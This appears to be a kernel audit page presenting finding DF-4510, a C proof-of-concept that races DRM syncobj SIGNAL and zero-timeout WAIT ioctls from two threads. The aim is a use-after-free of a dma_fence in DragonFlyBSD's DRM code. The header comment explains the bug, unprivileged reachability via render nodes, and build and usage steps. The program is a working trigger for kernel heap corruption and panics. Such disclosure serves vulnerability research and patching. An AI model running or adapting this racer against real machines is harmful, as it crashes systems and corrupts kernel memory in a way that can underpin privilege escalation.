โฌข DragonFlyBSD Kernel Audit
DF-4510 / syncobj_race.c
โ† back to finding โ†“ download raw
/*
 * DF-4510 โ€” drm_syncobj fence use-after-free racer
 *
 * Bug: drm_syncobj_fence_get() (include/drm/drm_syncobj.h:120-130) reads
 * syncobj->fence and takes a reference with dma_fence_get_rcu_safe()
 * (include/linux/dma-fence.h:189-199 == plain load + kref_get) under a
 * rcu_read_lock() that on DragonFly is ONLY preempt_disable()
 * (include/linux/rcupdate.h:46-56) โ€” no grace period whatsoever.
 * Concurrently, drm_syncobj_replace_fence() (drm_syncobj.c:170-196) swaps
 * the pointer under syncobj->lock and then, AFTER dropping the lock,
 * dma_fence_put(old_fence) (drm_syncobj.c:195) โ€” the stub fence created by
 * DRM_IOCTL_SYNCOBJ_SIGNAL has exactly one reference (held by the syncobj),
 * so the put frees it IMMEDIATELY via dma_fence_release -> kfree
 * (linux_fence.c:43-51, drm_syncobj_stub_fence_ops has no ->release).
 *
 * A waiter thread that loaded syncobj->fence before the swap but executes its
 * kref_get after the kfree performs an atomic increment on freed memory and
 * then uses the freed fence (dma_fence_is_signaled reads flags/dispatches
 * ops) โ€” kernel heap UAF (read+write), type-confusable via slab reuse.
 *
 * This program races:
 *   thread "signal": DRM_IOCTL_SYNCOBJ_SIGNAL in a tight loop
 *                    (each call allocates a new signaled stub fence and
 *                     frees the previous one through replace_fence's put)
 *   thread "wait":   DRM_IOCTL_SYNCOBJ_WAIT with timeout_nsec=0 (poll)
 *                    in a tight loop (each call does drm_syncobj_fence_get)
 *
 * Reachable unprivileged through a render node: all syncobj ioctls are
 * DRM_UNLOCKED|DRM_RENDER_ALLOW (drm_ioctl.c:685-698) and the drivers that
 * set DRIVER_SYNCOBJ are i915 (i915_drv.c:3283-3285) and amdgpu
 * (amdgpu_drv.c:1302-1306).  Needs SMP (>= 2 CPUs) for the interleave.
 *
 * Success criterion (on i915/amdgpu hardware): kernel panic / KASAN-style
 * splat / refcount or slab corruption within the run window, or (silent
 * corruption case) the waiter returning with a fence pointing into reused
 * slab memory.
 *
 * Build:  cc -O2 -pthread -o syncobj_race syncobj_race.c
 * Usage:  ./syncobj_race [seconds]   (default 30)
 */

#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- trimmed uapi (sys/dev/drm/include/uapi/drm/drm.h) ---- */
struct drm_syncobj_create {
	uint32_t handle;
	uint32_t flags;
};
struct drm_syncobj_array {
	uint64_t handles;
	uint32_t count_handles;
	uint32_t pad;
};
struct drm_syncobj_wait {
	uint64_t handles;
	int64_t  timeout_nsec;
	uint32_t count_handles;
	uint32_t flags;
	uint32_t first_signaled;
	uint32_t pad;
};
#define DRM_IOCTL_BASE		'd'
#define DRM_SYNCOBJ_CREATE_SIGNALED	(1u << 0)
#define DRM_SYNCOBJ_WAIT_FLAGS_WAIT_ALL		(1u << 0)
#define DRM_SYNCOBJ_WAIT_FLAGS_WAIT_FOR_SUBMIT	(1u << 1)

#define DRM_SYNCOBJ_CREATE	_IOWR(DRM_IOCTL_BASE, 0xBF, struct drm_syncobj_create)
#define DRM_SYNCOBJ_WAIT	_IOWR(DRM_IOCTL_BASE, 0xC3, struct drm_syncobj_wait)
#define DRM_SYNCOBJ_SIGNAL	_IOWR(DRM_IOCTL_BASE, 0xC5, struct drm_syncobj_array)

static int drm_fd = -1;
static uint32_t handle;
static volatile int stop;
static uint64_t wait_iters, sig_iters, wait_errs, sig_errs;

static void *
wait_thread(void *arg)
{
	struct drm_syncobj_wait w;

	while (!stop) {
		memset(&w, 0, sizeof(w));
		w.handles = (uintptr_t)&handle;
		w.timeout_nsec = 0;	/* poll: immediate fence_get + return */
		w.count_handles = 1;
		w.flags = 0;
		if (ioctl(drm_fd, DRM_SYNCOBJ_WAIT, &w) < 0)
			wait_errs++;
		wait_iters++;
	}
	return (NULL);
}

static void *
signal_thread(void *arg)
{
	struct drm_syncobj_array a;

	while (!stop) {
		memset(&a, 0, sizeof(a));
		a.handles = (uintptr_t)&handle;
		a.count_handles = 1;
		if (ioctl(drm_fd, DRM_SYNCOBJ_SIGNAL, &a) < 0)
			sig_errs++;
		sig_iters++;
	}
	return (NULL);
}

static const char *candidates[] = {
	"/dev/dri/renderD128", "/dev/dri/renderD129",
	"/dev/dri/card0", "/dev/dri/card1", NULL
};

int
main(int argc, char **argv)
{
	struct drm_syncobj_create c;
	pthread_t wt, st;
	int secs = (argc > 1) ? atoi(argv[1]) : 30;
	int i;

	for (i = 0; candidates[i] != NULL; i++) {
		drm_fd = open(candidates[i], O_RDWR);
		if (drm_fd >= 0) {
			printf("opened %s\n", candidates[i]);
			break;
		}
		printf("open %s: %s\n", candidates[i], strerror(errno));
	}
	if (drm_fd < 0) {
		printf("NO DRM DEVICE NODE AVAILABLE on this machine.\n"
		    "The DRM syncobj ioctls (DRIVER_SYNCOBJ: i915/amdgpu) "
		    "cannot be reached; the race documented in VERDICT.md "
		    "cannot be exercised here.\n");
		return (2);
	}

	memset(&c, 0, sizeof(c));
	c.flags = DRM_SYNCOBJ_CREATE_SIGNALED;
	if (ioctl(drm_fd, DRM_SYNCOBJ_CREATE, &c) < 0) {
		printf("SYNCOBJ_CREATE failed: %s (driver without "
		    "DRIVER_SYNCOBJ returns EOPNOTSUPP)\n", strerror(errno));
		return (3);
	}
	handle = c.handle;
	printf("syncobj handle %u; racing SIGNAL vs WAIT(0) for %ds...\n",
	    handle, secs);

	pthread_create(&wt, NULL, wait_thread, NULL);
	pthread_create(&st, NULL, signal_thread, NULL);
	sleep(secs);
	stop = 1;
	pthread_join(wt, NULL);
	pthread_join(st, NULL);

	printf("wait ioctls: %llu (errs %llu), signal ioctls: %llu (errs %llu)\n",
	    (unsigned long long)wait_iters, (unsigned long long)wait_errs,
	    (unsigned long long)sig_iters, (unsigned long long)sig_errs);
	printf("If the kernel did not panic, check dmesg for slab/refcount "
	    "splats.  On hardware this is a UAF write (kref_get on freed "
	    "dma_fence) + use of freed object.\n");
	return (0);
}